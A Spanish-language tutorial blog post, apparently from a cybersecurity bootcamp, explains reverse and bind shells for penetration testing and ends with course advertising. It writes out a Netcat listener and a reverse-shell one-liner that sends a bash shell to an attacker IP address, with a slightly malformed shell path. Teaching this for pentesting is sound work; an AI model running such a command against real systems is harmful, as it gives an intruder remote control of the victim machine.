¿Qué es una shell inversa?

Autor: | Última modificación: 3 de noviembre de 2022 | Tiempo de Lectura: 3 minutos
Temas en este post: ,

¿Sabes qué es una shell inversa, para qué se utiliza en hacking ético y cómo se puede ejecutar con Netcat?

En ciberseguridad, los tests de penetración se utilizan para poner a prueba la seguridad de los sistemas y las aplicaciones. En estos tests, se replican las técnicas usadas por hackers maliciosos con el fin de identificar fallos de seguridad y medir sus niveles de riesgo. A esto se le conoce como hacking ético y es uno de los servicios más demandados de la seguridad informática.

Los tests de penetración se dividen en varias fases, al igual que los ciberataques. Estas etapas van desde el reconocimiento pasivo y activo del sistema hasta la explotación de sus vulnerabilidades y el despliegue de payloads. Los payloads son códigos que ejecutan tareas maliciosas en un sistema comprometido y varían según su tamaño y nivel de riesgo para el sistema.

Algunos payloads, por ejemplo, permiten inyectar comandos en el ordenador o el servidor vulnerado. A esto se le conoce como ejecución remota de código y se puede hacer por medio de una shell inversa o directa. En este post, hablaremos sobre qué es una shell inversa y en qué se diferencia de la directa. ¿Cuál es mejor para ciberataques y tests de intrusión?

¿Qué es una shell inversa?

Una shell es una terminal conectada a distancia con otra que permite ejecutar comandos de manera remota en un servidor. Esto es útil en diferentes escenarios, pero, sobre todo, puede ser aprovechado por un atacante para robar información sensible o ejecutar tareas maliciosas en un sistema.

Una shell inversa se refiere a un proceso en el que la máquina de la víctima se conecta a la del atacante para recibir comandos. Es una técnica eficiente, ya que evade los firewalls y filtros de seguridad del tráfico que ingresa al ordenador. Por eso, los atacantes suelen utilizar este tipo de shells y es recomendable también hacerlo en tests de intrusión.

Una shell directa, por el contrario, es mucho menos utilizada, pero vale la pena saber que existe y que se puede ejecutar. Se refiere a un proceso mediante el cual la máquina del atacante se conecta a la de la víctima, con el fin de enviarle comandos para ejecutar. Ahora bien, este proceso es menos recomendable, ya que entonces necesitaría pasar todos los filtros de seguridad de tráfico web de un ordenador. Por eso, no se suele utilizar.

¿Cómo ejecutar una shell inversa?

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Ya hemos visto qué es una shell inversa y en qué se diferencia de una directa. Ahora, veremos cómo se ejecuta por medio de un programa llamado Netcat.

  • Primero, en una terminal de Kali Linux, pondremos un puerto a la escucha con el comando:
nc -lvp 4444
¿Qué es una shell inversa? 1
  • Después, suponiendo que la dirección IP del atacante es 192.168.175.128, ejecuta el siguiente comando en otra terminal:
nc 192.168.175.128 4444 -e /bin/bash/

De este modo, se creará una reverse shell en la terminal de Kali Linux que nos permitirá ejecutar cualquier comando bash en la máquina comprometida. Ahora bien, para lograr hacer esta conexión se necesitan dos cosas:

  1. Poner el puerto a la escucha, con Netcat, desde una terminal.
  2. Ejecutar el payload en el ordenador de la víctima.

Existen miles de formas de ejecutar el payload en el ordenador de una víctima. Todo depende de la vulnerabilidad que tenga el sistema. Si, de alguna forma, el atacante puede inyectar comandos de Linux en el sistema, entonces es altamente probable que puede formar una reverse shell con Netcat.

¿Cómo aprender más?

Ya hemos visto qué es una shell inversa y cómo ejecutarla con Netcat. Si quieres aprender más técnicas y herramientas de hacking ético, en KeepCoding tenemos un curso intensivo que te ayudará a impulsar tu carrera. Ingresa a nuestro Ciberseguridad Full Stack Bootcamp y especialízate en tan solo 7 meses. Aprenderás con profesores expertos y clases en vivo sobre módulos como recopilación de información, pentesting, criptografía, análisis de malware y mucho más. ¡No sigas esperando e inscríbete ahora!

[email protected]

¿Trabajo? Aprende a programar y consíguelo.

¡No te pierdas la próxima edición del Aprende a Programar desde Cero Full Stack Jr. Bootcamp!

 

Prepárate en 4 meses, aprende las últimas tecnologías y consigue trabajo desde ya. 

 

Solo en España hay más de 120.400 puestos tech sin cubrir, y con un sueldo 11.000€ por encima de la media nacional. ¡Es tu momento!

 

🗓️ Próxima edición: 13 de febrero

 

Reserva tu plaza descubre las becas disponibles.